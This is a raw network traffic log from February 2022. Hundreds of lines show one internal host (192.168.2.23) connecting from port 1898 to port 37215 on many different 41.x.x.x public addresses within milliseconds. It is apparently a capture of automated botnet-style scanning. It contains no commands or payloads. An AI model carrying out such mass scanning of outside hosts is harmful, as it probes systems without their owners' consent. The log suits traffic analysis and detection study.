Feb 20, 2022 15:50:57.660075903 CET	1898	37215	192.168.2.23	41.29.253.150
Feb 20, 2022 15:50:57.660088062 CET	1898	37215	192.168.2.23	41.178.253.42
Feb 20, 2022 15:50:57.660105944 CET	1898	37215	192.168.2.23	41.143.66.42
Feb 20, 2022 15:50:57.660136938 CET	1898	37215	192.168.2.23	41.218.83.207
Feb 20, 2022 15:50:57.660137892 CET	1898	37215	192.168.2.23	41.250.1.180
Feb 20, 2022 15:50:57.660140038 CET	1898	37215	192.168.2.23	41.67.140.212
Feb 20, 2022 15:50:57.660167933 CET	1898	37215	192.168.2.23	41.212.226.11
Feb 20, 2022 15:50:57.660192966 CET	1898	37215	192.168.2.23	41.88.122.49
Feb 20, 2022 15:50:57.660223007 CET	1898	37215	192.168.2.23	41.34.5.253
Feb 20, 2022 15:50:57.660257101 CET	1898	37215	192.168.2.23	41.48.215.43
Feb 20, 2022 15:50:57.660281897 CET	1898	37215	192.168.2.23	41.41.174.45
Feb 20, 2022 15:50:57.660301924 CET	1898	37215	192.168.2.23	41.35.102.80
Feb 20, 2022 15:50:57.660327911 CET	1898	37215	192.168.2.23	41.230.58.137
Feb 20, 2022 15:50:57.660345078 CET	1898	37215	192.168.2.23	41.166.189.10
Feb 20, 2022 15:50:57.660366058 CET	1898	37215	192.168.2.23	41.153.33.174
Feb 20, 2022 15:50:57.660396099 CET	1898	37215	192.168.2.23	41.241.39.39
Feb 20, 2022 15:50:57.660397053 CET	1898	37215	192.168.2.23	41.246.119.149
Feb 20, 2022 15:50:57.660398006 CET	1898	37215	192.168.2.23	41.100.63.135
Feb 20, 2022 15:50:57.660418034 CET	1898	37215	192.168.2.23	41.133.221.208
Feb 20, 2022 15:50:57.660439968 CET	1898	37215	192.168.2.23	41.19.156.89
Feb 20, 2022 15:50:57.660496950 CET	1898	37215	192.168.2.23	41.223.74.81
Feb 20, 2022 15:50:57.660521030 CET	1898	37215	192.168.2.23	41.60.123.10
Feb 20, 2022 15:50:57.660536051 CET	1898	37215	192.168.2.23	41.135.216.183
Feb 20, 2022 15:50:57.660537004 CET	1898	37215	192.168.2.23	41.122.123.28
Feb 20, 2022 15:50:57.660552025 CET	1898	37215	192.168.2.23	41.37.94.232
Feb 20, 2022 15:50:57.660603046 CET	1898	37215	192.168.2.23	41.94.141.240
Feb 20, 2022 15:50:57.660615921 CET	1898	37215	192.168.2.23	41.26.149.90
Feb 20, 2022 15:50:57.660619974 CET	1898	37215	192.168.2.23	41.145.223.54
Feb 20, 2022 15:50:57.660633087 CET	1898	37215	192.168.2.23	41.16.35.82
Feb 20, 2022 15:50:57.660690069 CET	1898	37215	192.168.2.23	41.97.110.253
Feb 20, 2022 15:50:57.660726070 CET	1898	37215	192.168.2.23	41.61.109.235
Feb 20, 2022 15:50:57.660737038 CET	1898	37215	192.168.2.23	41.83.56.88
Feb 20, 2022 15:50:57.660738945 CET	1898	37215	192.168.2.23	41.194.167.177
Feb 20, 2022 15:50:57.660739899 CET	1898	37215	192.168.2.23	41.206.10.196
Feb 20, 2022 15:50:57.660753012 CET	1898	37215	192.168.2.23	41.175.135.125
Feb 20, 2022 15:50:57.660790920 CET	1898	37215	192.168.2.23	41.229.99.11
Feb 20, 2022 15:50:57.660840034 CET	1898	37215	192.168.2.23	41.47.165.151
Feb 20, 2022 15:50:57.660851955 CET	1898	37215	192.168.2.23	41.151.161.91
Feb 20, 2022 15:50:57.660861015 CET	1898	37215	192.168.2.23	41.96.157.151
Feb 20, 2022 15:50:57.660865068 CET	1898	37215	192.168.2.23	41.63.42.212
Feb 20, 2022 15:50:57.660876036 CET	1898	37215	192.168.2.23	41.5.12.151
Feb 20, 2022 15:50:57.660912991 CET	1898	37215	192.168.2.23	41.198.154.149
Feb 20, 2022 15:50:57.660954952 CET	1898	37215	192.168.2.23	41.168.134.148
Feb 20, 2022 15:50:57.660974979 CET	1898	37215	192.168.2.23	41.42.192.130
Feb 20, 2022 15:50:57.660979986 CET	1898	37215	192.168.2.23	41.194.150.240
Feb 20, 2022 15:50:57.660990953 CET	1898	37215	192.168.2.23	41.49.244.150
Feb 20, 2022 15:50:57.661003113 CET	1898	37215	192.168.2.23	41.74.28.95
Feb 20, 2022 15:50:57.661029100 CET	1898	37215	192.168.2.23	41.206.45.73
Feb 20, 2022 15:50:57.661075115 CET	1898	37215	192.168.2.23	41.175.223.42
Feb 20, 2022 15:50:57.661082029 CET	1898	37215	192.168.2.23	41.121.233.55
Feb 20, 2022 15:50:57.661096096 CET	1898	37215	192.168.2.23	41.163.152.127
Feb 20, 2022 15:50:57.661143064 CET	1898	37215	192.168.2.23	41.78.163.90
Feb 20, 2022 15:50:57.661149025 CET	1898	37215	192.168.2.23	41.191.136.218
Feb 20, 2022 15:50:57.661164045 CET	1898	37215	192.168.2.23	41.209.228.162
Feb 20, 2022 15:50:57.661174059 CET	1898	37215	192.168.2.23	41.248.97.171
Feb 20, 2022 15:50:57.661187887 CET	1898	37215	192.168.2.23	41.148.206.123
Feb 20, 2022 15:50:57.661237001 CET	1898	37215	192.168.2.23	41.238.94.108
Feb 20, 2022 15:50:57.661245108 CET	1898	37215	192.168.2.23	41.171.73.178
Feb 20, 2022 15:50:57.661245108 CET	1898	37215	192.168.2.23	41.21.110.184
Feb 20, 2022 15:50:57.661252022 CET	1898	37215	192.168.2.23	41.20.252.54
Feb 20, 2022 15:50:57.661274910 CET	1898	37215	192.168.2.23	41.121.62.4
Feb 20, 2022 15:50:57.661318064 CET	1898	37215	192.168.2.23	41.89.98.3
Feb 20, 2022 15:50:57.661350965 CET	1898	37215	192.168.2.23	41.230.101.115
Feb 20, 2022 15:50:57.661381960 CET	1898	37215	192.168.2.23	41.79.107.251
Feb 20, 2022 15:50:57.661382914 CET	1898	37215	192.168.2.23	41.79.198.170
Feb 20, 2022 15:50:57.661412954 CET	1898	37215	192.168.2.23	41.243.98.86
Feb 20, 2022 15:50:57.661423922 CET	1898	37215	192.168.2.23	41.81.144.149
Feb 20, 2022 15:50:57.661438942 CET	1898	37215	192.168.2.23	41.238.102.42
Feb 20, 2022 15:50:57.661448002 CET	1898	37215	192.168.2.23	41.254.83.78
Feb 20, 2022 15:50:57.661457062 CET	1898	37215	192.168.2.23	41.162.71.98
Feb 20, 2022 15:50:57.661494970 CET	1898	37215	192.168.2.23	41.77.84.163
Feb 20, 2022 15:50:57.661540985 CET	1898	37215	192.168.2.23	41.34.245.193
Feb 20, 2022 15:50:57.661556959 CET	1898	37215	192.168.2.23	41.245.73.140
Feb 20, 2022 15:50:57.661559105 CET	1898	37215	192.168.2.23	41.250.26.47
Feb 20, 2022 15:50:57.661561966 CET	1898	37215	192.168.2.23	41.219.180.216
Feb 20, 2022 15:50:57.661597013 CET	1898	37215	192.168.2.23	41.2.161.166
Feb 20, 2022 15:50:57.661598921 CET	1898	37215	192.168.2.23	41.96.84.93
Feb 20, 2022 15:50:57.661617041 CET	1898	37215	192.168.2.23	41.173.102.152
Feb 20, 2022 15:50:57.661636114 CET	1898	37215	192.168.2.23	41.99.149.90
Feb 20, 2022 15:50:57.661678076 CET	1898	37215	192.168.2.23	41.132.117.140
Feb 20, 2022 15:50:57.661717892 CET	1898	37215	192.168.2.23	41.163.59.63
Feb 20, 2022 15:50:57.661734104 CET	1898	37215	192.168.2.23	41.45.87.237
Feb 20, 2022 15:50:57.661751986 CET	1898	37215	192.168.2.23	41.98.191.125
Feb 20, 2022 15:50:57.661780119 CET	1898	37215	192.168.2.23	41.87.236.234
Feb 20, 2022 15:50:57.661801100 CET	1898	37215	192.168.2.23	41.41.159.38
Feb 20, 2022 15:50:57.661814928 CET	1898	37215	192.168.2.23	41.192.21.201
Feb 20, 2022 15:50:57.661828995 CET	1898	37215	192.168.2.23	41.254.153.8
Feb 20, 2022 15:50:57.661863089 CET	1898	37215	192.168.2.23	41.216.21.226
Feb 20, 2022 15:50:57.661869049 CET	1898	37215	192.168.2.23	41.206.24.135
Feb 20, 2022 15:50:57.661911011 CET	1898	37215	192.168.2.23	41.36.31.46
Feb 20, 2022 15:50:57.661921978 CET	1898	37215	192.168.2.23	41.133.171.35
Feb 20, 2022 15:50:57.661950111 CET	1898	37215	192.168.2.23	41.113.122.141
Feb 20, 2022 15:50:57.661964893 CET	1898	37215	192.168.2.23	41.104.17.43
Feb 20, 2022 15:50:57.661978006 CET	1898	37215	192.168.2.23	41.106.11.179
Feb 20, 2022 15:50:57.661997080 CET	1898	37215	192.168.2.23	41.172.247.48
Feb 20, 2022 15:50:57.662061930 CET	1898	37215	192.168.2.23	41.119.16.235
Feb 20, 2022 15:50:57.662079096 CET	1898	37215	192.168.2.23	41.198.143.163
Feb 20, 2022 15:50:57.662089109 CET	1898	37215	192.168.2.23	41.112.44.190
Feb 20, 2022 15:50:57.662095070 CET	1898	37215	192.168.2.23	41.82.165.165
Feb 20, 2022 15:50:57.662101984 CET	1898	37215	192.168.2.23	41.214.210.235
Feb 20, 2022 15:50:57.662161112 CET	1898	37215	192.168.2.23	41.222.69.10
Feb 20, 2022 15:50:57.662183046 CET	1898	37215	192.168.2.23	41.161.200.8
Feb 20, 2022 15:50:57.662184954 CET	1898	37215	192.168.2.23	41.120.158.98
Feb 20, 2022 15:50:57.662189960 CET	1898	37215	192.168.2.23	41.204.163.187
Feb 20, 2022 15:50:57.662197113 CET	1898	37215	192.168.2.23	41.164.194.155
Feb 20, 2022 15:50:57.662240028 CET	1898	37215	192.168.2.23	41.208.60.83
Feb 20, 2022 15:50:57.662301064 CET	1898	37215	192.168.2.23	41.248.174.189
Feb 20, 2022 15:50:57.662302971 CET	1898	37215	192.168.2.23	41.156.216.78
Feb 20, 2022 15:50:57.662303925 CET	1898	37215	192.168.2.23	41.74.196.72
Feb 20, 2022 15:50:57.662321091 CET	1898	37215	192.168.2.23	41.138.244.80
Feb 20, 2022 15:50:57.662344933 CET	1898	37215	192.168.2.23	41.73.99.205
Feb 20, 2022 15:50:57.662354946 CET	1898	37215	192.168.2.23	41.108.24.174
Feb 20, 2022 15:50:57.662399054 CET	1898	37215	192.168.2.23	41.74.111.48
Feb 20, 2022 15:50:57.662400961 CET	1898	37215	192.168.2.23	41.254.127.77
Feb 20, 2022 15:50:57.662416935 CET	1898	37215	192.168.2.23	41.217.205.60
Feb 20, 2022 15:50:57.662442923 CET	1898	37215	192.168.2.23	41.40.228.103
Feb 20, 2022 15:50:57.662482977 CET	1898	37215	192.168.2.23	41.246.124.50
Feb 20, 2022 15:50:57.662511110 CET	1898	37215	192.168.2.23	41.198.216.155
Feb 20, 2022 15:50:57.662519932 CET	1898	37215	192.168.2.23	41.134.67.242
Feb 20, 2022 15:50:57.662529945 CET	1898	37215	192.168.2.23	41.90.159.249
Feb 20, 2022 15:50:57.662560940 CET	1898	37215	192.168.2.23	41.199.244.206
Feb 20, 2022 15:50:57.662574053 CET	1898	37215	192.168.2.23	41.22.37.65
Feb 20, 2022 15:50:57.662574053 CET	1898	37215	192.168.2.23	41.223.190.181
Feb 20, 2022 15:50:57.662614107 CET	1898	37215	192.168.2.23	41.31.77.163
Feb 20, 2022 15:50:57.662622929 CET	1898	37215	192.168.2.23	41.106.254.194
Feb 20, 2022 15:50:57.662625074 CET	1898	37215	192.168.2.23	41.168.45.109
Feb 20, 2022 15:50:57.662631989 CET	1898	37215	192.168.2.23	41.2.115.130
Feb 20, 2022 15:50:57.662659883 CET	1898	37215	192.168.2.23	41.239.150.200
Feb 20, 2022 15:50:57.662705898 CET	1898	37215	192.168.2.23	41.5.133.51
Feb 20, 2022 15:50:57.662724018 CET	1898	37215	192.168.2.23	41.214.79.255
Feb 20, 2022 15:50:57.662760019 CET	1898	37215	192.168.2.23	41.214.154.106
Feb 20, 2022 15:50:57.662776947 CET	1898	37215	192.168.2.23	41.131.119.209
Feb 20, 2022 15:50:57.662805080 CET	1898	37215	192.168.2.23	41.17.35.111
Feb 20, 2022 15:50:57.662827969 CET	1898	37215	192.168.2.23	41.89.50.199
Feb 20, 2022 15:50:57.662838936 CET	1898	37215	192.168.2.23	41.218.0.254
Feb 20, 2022 15:50:57.662847042 CET	1898	37215	192.168.2.23	41.52.26.235
Feb 20, 2022 15:50:57.662849903 CET	1898	37215	192.168.2.23	41.82.165.46
Feb 20, 2022 15:50:57.662878990 CET	1898	37215	192.168.2.23	41.32.172.157
Feb 20, 2022 15:50:57.662928104 CET	1898	37215	192.168.2.23	41.85.174.30
Feb 20, 2022 15:50:57.662930965 CET	1898	37215	192.168.2.23	41.169.144.60
Feb 20, 2022 15:50:57.662941933 CET	1898	37215	192.168.2.23	41.120.51.97
Feb 20, 2022 15:50:57.662944078 CET	1898	37215	192.168.2.23	41.96.251.22
Feb 20, 2022 15:50:57.663013935 CET	1898	37215	192.168.2.23	41.101.71.178
Feb 20, 2022 15:50:57.663038969 CET	1898	37215	192.168.2.23	41.217.116.50
Feb 20, 2022 15:50:57.663060904 CET	1898	37215	192.168.2.23	41.235.45.117
Feb 20, 2022 15:50:57.663064957 CET	1898	37215	192.168.2.23	41.21.85.45
Feb 20, 2022 15:50:57.663100004 CET	1898	37215	192.168.2.23	41.147.236.164
Feb 20, 2022 15:50:57.663113117 CET	1898	37215	192.168.2.23	41.29.226.70
Feb 20, 2022 15:50:57.663125992 CET	1898	37215	192.168.2.23	41.61.77.65
Feb 20, 2022 15:50:57.663126945 CET	1898	37215	192.168.2.23	41.246.175.36
Feb 20, 2022 15:50:57.663175106 CET	1898	37215	192.168.2.23	41.247.48.207
Feb 20, 2022 15:50:57.663198948 CET	1898	37215	192.168.2.23	41.80.7.170
Feb 20, 2022 15:50:57.663237095 CET	1898	37215	192.168.2.23	41.71.250.241
Feb 20, 2022 15:50:57.663244963 CET	1898	37215	192.168.2.23	41.153.242.135
Feb 20, 2022 15:50:57.663264036 CET	1898	37215	192.168.2.23	41.212.255.226
Feb 20, 2022 15:50:57.663285971 CET	1898	37215	192.168.2.23	41.203.171.219
Feb 20, 2022 15:50:57.663309097 CET	1898	37215	192.168.2.23	41.67.142.205
Feb 20, 2022 15:50:57.663309097 CET	1898	37215	192.168.2.23	41.33.128.151
Feb 20, 2022 15:50:57.663315058 CET	1898	37215	192.168.2.23	41.92.173.223
Feb 20, 2022 15:50:57.663368940 CET	1898	37215	192.168.2.23	41.188.192.152
Feb 20, 2022 15:50:57.663382053 CET	1898	37215	192.168.2.23	41.100.109.160
Feb 20, 2022 15:50:57.663383961 CET	1898	37215	192.168.2.23	41.101.33.131
Feb 20, 2022 15:50:57.663430929 CET	1898	37215	192.168.2.23	41.167.16.18
Feb 20, 2022 15:50:57.663470030 CET	1898	37215	192.168.2.23	41.62.10.18
Feb 20, 2022 15:50:57.663475990 CET	1898	37215	192.168.2.23	41.61.106.177
Feb 20, 2022 15:50:57.663475990 CET	1898	37215	192.168.2.23	41.244.78.83
Feb 20, 2022 15:50:57.663512945 CET	1898	37215	192.168.2.23	41.74.213.65
Feb 20, 2022 15:50:57.663522005 CET	1898	37215	192.168.2.23	41.169.105.132
Feb 20, 2022 15:50:57.663522959 CET	1898	37215	192.168.2.23	41.246.197.229
Feb 20, 2022 15:50:57.663585901 CET	1898	37215	192.168.2.23	41.47.124.159
Feb 20, 2022 15:50:57.663605928 CET	1898	37215	192.168.2.23	41.15.190.11
Feb 20, 2022 15:50:57.663608074 CET	1898	37215	192.168.2.23	41.172.200.154
Feb 20, 2022 15:50:57.663608074 CET	1898	37215	192.168.2.23	41.190.110.40
Feb 20, 2022 15:50:57.663615942 CET	1898	37215	192.168.2.23	41.194.123.80
Feb 20, 2022 15:50:57.663682938 CET	1898	37215	192.168.2.23	41.149.231.186
Feb 20, 2022 15:50:57.663701057 CET	1898	37215	192.168.2.23	41.98.114.36
Feb 20, 2022 15:50:57.663724899 CET	1898	37215	192.168.2.23	41.226.247.123
Feb 20, 2022 15:50:57.663758039 CET	1898	37215	192.168.2.23	41.70.137.8
Feb 20, 2022 15:50:57.663764000 CET	1898	37215	192.168.2.23	41.56.194.196
Feb 20, 2022 15:50:57.663778067 CET	1898	37215	192.168.2.23	41.181.56.147
Feb 20, 2022 15:50:57.663794994 CET	1898	37215	192.168.2.23	41.208.161.226
Feb 20, 2022 15:50:57.663809061 CET	1898	37215	192.168.2.23	41.82.33.35
Feb 20, 2022 15:50:57.663836956 CET	1898	37215	192.168.2.23	41.4.84.171
Feb 20, 2022 15:50:57.663866997 CET	1898	37215	192.168.2.23	41.58.147.172
Feb 20, 2022 15:50:57.663882971 CET	1898	37215	192.168.2.23	41.18.155.39
Feb 20, 2022 15:50:57.663899899 CET	1898	37215	192.168.2.23	41.251.241.127
Feb 20, 2022 15:50:57.663930893 CET	1898	37215	192.168.2.23	41.251.215.235
Feb 20, 2022 15:50:57.663933992 CET	1898	37215	192.168.2.23	41.39.250.208
Feb 20, 2022 15:50:57.663975000 CET	1898	37215	192.168.2.23	41.0.153.152
Feb 20, 2022 15:50:57.663975000 CET	1898	37215	192.168.2.23	41.67.174.110
Feb 20, 2022 15:50:57.663979053 CET	1898	37215	192.168.2.23	41.52.126.96
Feb 20, 2022 15:50:57.663988113 CET	1898	37215	192.168.2.23	41.217.29.80
Feb 20, 2022 15:50:57.664021969 CET	1898	37215	192.168.2.23	41.42.200.78
Feb 20, 2022 15:50:57.664082050 CET	1898	37215	192.168.2.23	41.131.63.55
Feb 20, 2022 15:50:57.664135933 CET	1898	37215	192.168.2.23	41.35.143.10
Feb 20, 2022 15:50:57.664159060 CET	1898	37215	192.168.2.23	41.71.33.199
Feb 20, 2022 15:50:57.664160967 CET	1898	37215	192.168.2.23	41.57.32.242
Feb 20, 2022 15:50:57.664163113 CET	1898	37215	192.168.2.23	41.117.251.211
Feb 20, 2022 15:50:57.664171934 CET	1898	37215	192.168.2.23	41.75.111.90
Feb 20, 2022 15:50:57.664172888 CET	1898	37215	192.168.2.23	41.46.246.150
Feb 20, 2022 15:50:57.664175987 CET	1898	37215	192.168.2.23	41.243.209.70
Feb 20, 2022 15:50:57.664212942 CET	1898	37215	192.168.2.23	41.136.109.56
Feb 20, 2022 15:50:57.664253950 CET	1898	37215	192.168.2.23	41.85.108.9
Feb 20, 2022 15:50:57.664274931 CET	1898	37215	192.168.2.23	41.106.51.140
Feb 20, 2022 15:50:57.664297104 CET	1898	37215	192.168.2.23	41.135.226.16
Feb 20, 2022 15:50:57.664339066 CET	1898	37215	192.168.2.23	41.239.65.196
Feb 20, 2022 15:50:57.664366961 CET	1898	37215	192.168.2.23	41.140.173.118
Feb 20, 2022 15:50:57.664387941 CET	1898	37215	192.168.2.23	41.168.169.180
Feb 20, 2022 15:50:57.664422035 CET	1898	37215	192.168.2.23	41.32.6.209
Feb 20, 2022 15:50:57.664427042 CET	1898	37215	192.168.2.23	41.237.136.243
Feb 20, 2022 15:50:57.664436102 CET	1898	37215	192.168.2.23	41.242.68.135
Feb 20, 2022 15:50:57.664446115 CET	1898	37215	192.168.2.23	41.15.163.240
Feb 20, 2022 15:50:57.664485931 CET	1898	37215	192.168.2.23	41.239.133.84
Feb 20, 2022 15:50:57.664513111 CET	1898	37215	192.168.2.23	41.91.106.45
Feb 20, 2022 15:50:57.664541960 CET	1898	37215	192.168.2.23	41.163.92.52
Feb 20, 2022 15:50:57.664565086 CET	1898	37215	192.168.2.23	41.23.252.77
Feb 20, 2022 15:50:57.664594889 CET	1898	37215	192.168.2.23	41.249.41.30
Feb 20, 2022 15:50:57.664655924 CET	1898	37215	192.168.2.23	41.14.11.142
Feb 20, 2022 15:50:57.664658070 CET	1898	37215	192.168.2.23	41.68.85.84
Feb 20, 2022 15:50:57.664663076 CET	1898	37215	192.168.2.23	41.119.140.37
Feb 20, 2022 15:50:57.664710045 CET	1898	37215	192.168.2.23	41.99.40.117
Feb 20, 2022 15:50:57.664712906 CET	1898	37215	192.168.2.23	41.96.48.6
Feb 20, 2022 15:50:57.664726973 CET	1898	37215	192.168.2.23	41.116.93.141
Feb 20, 2022 15:50:57.664740086 CET	1898	37215	192.168.2.23	41.52.186.144
Feb 20, 2022 15:50:57.664782047 CET	1898	37215	192.168.2.23	41.240.19.144
Feb 20, 2022 15:50:57.664786100 CET	1898	37215	192.168.2.23	41.188.38.45
Feb 20, 2022 15:50:57.664800882 CET	1898	37215	192.168.2.23	41.223.106.21
Feb 20, 2022 15:50:57.664807081 CET	1898	37215	192.168.2.23	41.228.1.107
Feb 20, 2022 15:50:57.664840937 CET	1898	37215	192.168.2.23	41.214.245.150
Feb 20, 2022 15:50:57.664896965 CET	1898	37215	192.168.2.23	41.10.167.204
Feb 20, 2022 15:50:57.664880991 CET	1898	37215	192.168.2.23	41.49.235.90
Feb 20, 2022 15:50:57.664908886 CET	1898	37215	192.168.2.23	41.248.73.186
Feb 20, 2022 15:50:57.664911032 CET	1898	37215	192.168.2.23	41.164.226.9
Feb 20, 2022 15:50:57.664941072 CET	1898	37215	192.168.2.23	41.210.23.205
Feb 20, 2022 15:50:57.664943933 CET	1898	37215	192.168.2.23	41.34.92.12
Feb 20, 2022 15:50:57.664963007 CET	1898	37215	192.168.2.23	41.60.197.60
Feb 20, 2022 15:50:57.664977074 CET	1898	37215	192.168.2.23	41.99.49.242
Feb 20, 2022 15:50:57.665023088 CET	1898	37215	192.168.2.23	41.253.252.218
Feb 20, 2022 15:50:57.665065050 CET	1898	37215	192.168.2.23	41.223.246.152
Feb 20, 2022 15:50:57.665096998 CET	1898	37215	192.168.2.23	41.183.237.93
Feb 20, 2022 15:50:57.665106058 CET	1898	37215	192.168.2.23	41.216.85.40
Feb 20, 2022 15:50:57.665118933 CET	1898	37215	192.168.2.23	41.39.12.177
Feb 20, 2022 15:50:57.665123940 CET	1898	37215	192.168.2.23	41.23.125.246
Feb 20, 2022 15:50:57.665158033 CET	1898	37215	192.168.2.23	41.127.151.47
Feb 20, 2022 15:50:57.665184975 CET	1898	37215	192.168.2.23	41.155.33.209
Feb 20, 2022 15:50:57.665185928 CET	1898	37215	192.168.2.23	41.243.19.199
Feb 20, 2022 15:50:57.665200949 CET	1898	37215	192.168.2.23	41.123.193.53
Feb 20, 2022 15:50:57.665230036 CET	1898	37215	192.168.2.23	41.229.205.227
Feb 20, 2022 15:50:57.665256977 CET	1898	37215	192.168.2.23	41.140.145.72
Feb 20, 2022 15:50:57.665276051 CET	1898	37215	192.168.2.23	41.111.108.104
Feb 20, 2022 15:50:57.665297031 CET	1898	37215	192.168.2.23	41.243.71.62
Feb 20, 2022 15:50:57.665327072 CET	1898	37215	192.168.2.23	41.48.54.225
Feb 20, 2022 15:50:57.665328979 CET	1898	37215	192.168.2.23	41.117.191.219
Feb 20, 2022 15:50:57.665329933 CET	1898	37215	192.168.2.23	41.60.227.178
Feb 20, 2022 15:50:57.665389061 CET	1898	37215	192.168.2.23	41.134.93.135
Feb 20, 2022 15:50:57.665416956 CET	1898	37215	192.168.2.23	41.235.224.61
Feb 20, 2022 15:50:57.665420055 CET	1898	37215	192.168.2.23	41.31.115.130
Feb 20, 2022 15:50:57.665427923 CET	1898	37215	192.168.2.23	41.184.215.98
Feb 20, 2022 15:50:57.665431023 CET	1898	37215	192.168.2.23	41.193.26.133
Feb 20, 2022 15:50:57.665493011 CET	1898	37215	192.168.2.23	41.193.215.7
Feb 20, 2022 15:50:57.665493965 CET	1898	37215	192.168.2.23	41.135.191.118
Feb 20, 2022 15:50:57.665503979 CET	1898	37215	192.168.2.23	41.28.16.49
Feb 20, 2022 15:50:57.665515900 CET	1898	37215	192.168.2.23	41.215.55.96
Feb 20, 2022 15:50:57.665564060 CET	1898	37215	192.168.2.23	41.142.218.34
Feb 20, 2022 15:50:57.665584087 CET	1898	37215	192.168.2.23	41.226.249.160
Feb 20, 2022 15:50:57.665607929 CET	1898	37215	192.168.2.23	41.61.80.135
Feb 20, 2022 15:50:57.665616035 CET	1898	37215	192.168.2.23	41.154.192.77
Feb 20, 2022 15:50:57.665622950 CET	1898	37215	192.168.2.23	41.107.184.97
Feb 20, 2022 15:50:57.665640116 CET	1898	37215	192.168.2.23	41.38.97.255
Feb 20, 2022 15:50:57.665651083 CET	1898	37215	192.168.2.23	41.115.25.226
Feb 20, 2022 15:50:57.665664911 CET	1898	37215	192.168.2.23	41.247.106.185
Feb 20, 2022 15:50:57.665683985 CET	1898	37215	192.168.2.23	41.102.216.42
Feb 20, 2022 15:50:57.665760040 CET	1898	37215	192.168.2.23	41.94.114.140
Feb 20, 2022 15:50:57.665762901 CET	1898	37215	192.168.2.23	41.181.18.187
Feb 20, 2022 15:50:57.665766001 CET	1898	37215	192.168.2.23	41.115.221.82
Feb 20, 2022 15:50:57.665790081 CET	1898	37215	192.168.2.23	41.192.119.106
Feb 20, 2022 15:50:57.665801048 CET	1898	37215	192.168.2.23	41.132.213.36
Feb 20, 2022 15:50:57.665821075 CET	1898	37215	192.168.2.23	41.109.182.170
Feb 20, 2022 15:50:57.665874958 CET	1898	37215	192.168.2.23	41.115.83.248
Feb 20, 2022 15:50:57.665901899 CET	1898	37215	192.168.2.23	41.76.160.200
Feb 20, 2022 15:50:57.665910006 CET	1898	37215	192.168.2.23	41.127.202.105
Feb 20, 2022 15:50:57.665919065 CET	1898	37215	192.168.2.23	41.156.224.146
Feb 20, 2022 15:50:57.665924072 CET	1898	37215	192.168.2.23	41.30.121.181
Feb 20, 2022 15:50:57.665952921 CET	1898	37215	192.168.2.23	41.87.183.168
Feb 20, 2022 15:50:57.666011095 CET	1898	37215	192.168.2.23	41.21.108.144
Feb 20, 2022 15:50:57.666013956 CET	1898	37215	192.168.2.23	41.62.64.249
Feb 20, 2022 15:50:57.666014910 CET	1898	37215	192.168.2.23	41.119.248.47
Feb 20, 2022 15:50:57.666030884 CET	1898	37215	192.168.2.23	41.223.218.7
Feb 20, 2022 15:50:57.666093111 CET	1898	37215	192.168.2.23	41.116.185.82
Feb 20, 2022 15:50:57.666115046 CET	1898	37215	192.168.2.23	41.75.231.69
Feb 20, 2022 15:50:57.666142941 CET	1898	37215	192.168.2.23	41.118.200.200
Feb 20, 2022 15:50:57.666148901 CET	1898	37215	192.168.2.23	41.238.0.139
Feb 20, 2022 15:50:57.666153908 CET	1898	37215	192.168.2.23	41.96.173.2
Feb 20, 2022 15:50:57.666193008 CET	1898	37215	192.168.2.23	41.198.244.195
Feb 20, 2022 15:50:57.666229010 CET	1898	37215	192.168.2.23	41.76.151.207
Feb 20, 2022 15:50:57.666253090 CET	1898	37215	192.168.2.23	41.239.77.138
Feb 20, 2022 15:50:57.666274071 CET	1898	37215	192.168.2.23	41.229.187.164
Feb 20, 2022 15:50:57.666276932 CET	1898	37215	192.168.2.23	41.243.189.242
Feb 20, 2022 15:50:57.666281939 CET	1898	37215	192.168.2.23	41.1.90.134
Feb 20, 2022 15:50:57.666297913 CET	1898	37215	192.168.2.23	41.180.43.216
Feb 20, 2022 15:50:57.666359901 CET	1898	37215	192.168.2.23	41.123.57.18
Feb 20, 2022 15:50:57.666397095 CET	1898	37215	192.168.2.23	41.249.205.206
Feb 20, 2022 15:50:57.666399002 CET	1898	37215	192.168.2.23	41.146.212.189
Feb 20, 2022 15:50:57.666409969 CET	1898	37215	192.168.2.23	41.172.181.213
Feb 20, 2022 15:50:57.666451931 CET	1898	37215	192.168.2.23	41.57.192.160
Feb 20, 2022 15:50:57.666452885 CET	1898	37215	192.168.2.23	41.112.32.62
Feb 20, 2022 15:50:57.666471958 CET	1898	37215	192.168.2.23	41.95.17.149
Feb 20, 2022 15:50:57.666518927 CET	1898	37215	192.168.2.23	41.241.111.193
Feb 20, 2022 15:50:57.666534901 CET	1898	37215	192.168.2.23	41.47.93.51
Feb 20, 2022 15:50:57.666552067 CET	1898	37215	192.168.2.23	41.42.30.144
Feb 20, 2022 15:50:57.666553020 CET	1898	37215	192.168.2.23	41.164.78.91
Feb 20, 2022 15:50:57.666619062 CET	1898	37215	192.168.2.23	41.171.228.107
Feb 20, 2022 15:50:57.666625977 CET	1898	37215	192.168.2.23	41.167.12.91
Feb 20, 2022 15:50:57.666625977 CET	1898	37215	192.168.2.23	41.215.41.11
Feb 20, 2022 15:50:57.666640997 CET	1898	37215	192.168.2.23	41.45.201.62
Feb 20, 2022 15:50:57.666654110 CET	1898	37215	192.168.2.23	41.14.63.121
Feb 20, 2022 15:50:57.666703939 CET	1898	37215	192.168.2.23	41.171.170.131
Feb 20, 2022 15:50:57.666728973 CET	1898	37215	192.168.2.23	41.133.119.57
Feb 20, 2022 15:50:57.666762114 CET	1898	37215	192.168.2.23	41.243.208.239
Feb 20, 2022 15:50:57.666786909 CET	1898	37215	192.168.2.23	41.131.167.138
Feb 20, 2022 15:50:57.666794062 CET	1898	37215	192.168.2.23	41.189.143.107
Feb 20, 2022 15:50:57.666798115 CET	1898	37215	192.168.2.23	41.59.172.235
Feb 20, 2022 15:50:57.666799068 CET	1898	37215	192.168.2.23	41.64.94.32
Feb 20, 2022 15:50:57.666809082 CET	1898	37215	192.168.2.23	41.107.55.51
Feb 20, 2022 15:50:57.666832924 CET	1898	37215	192.168.2.23	41.209.105.97
Feb 20, 2022 15:50:57.666883945 CET	1898	37215	192.168.2.23	41.246.254.225
Feb 20, 2022 15:50:57.666908026 CET	1898	37215	192.168.2.23	41.74.106.176
Feb 20, 2022 15:50:57.666949034 CET	1898	37215	192.168.2.23	41.149.112.124
Feb 20, 2022 15:50:57.666954994 CET	1898	37215	192.168.2.23	41.52.207.109
Feb 20, 2022 15:50:57.666971922 CET	1898	37215	192.168.2.23	41.118.56.173
Feb 20, 2022 15:50:57.667006016 CET	1898	37215	192.168.2.23	41.237.196.205
Feb 20, 2022 15:50:57.667017937 CET	1898	37215	192.168.2.23	41.88.170.121
Feb 20, 2022 15:50:57.667068005 CET	1898	37215	192.168.2.23	41.180.30.97
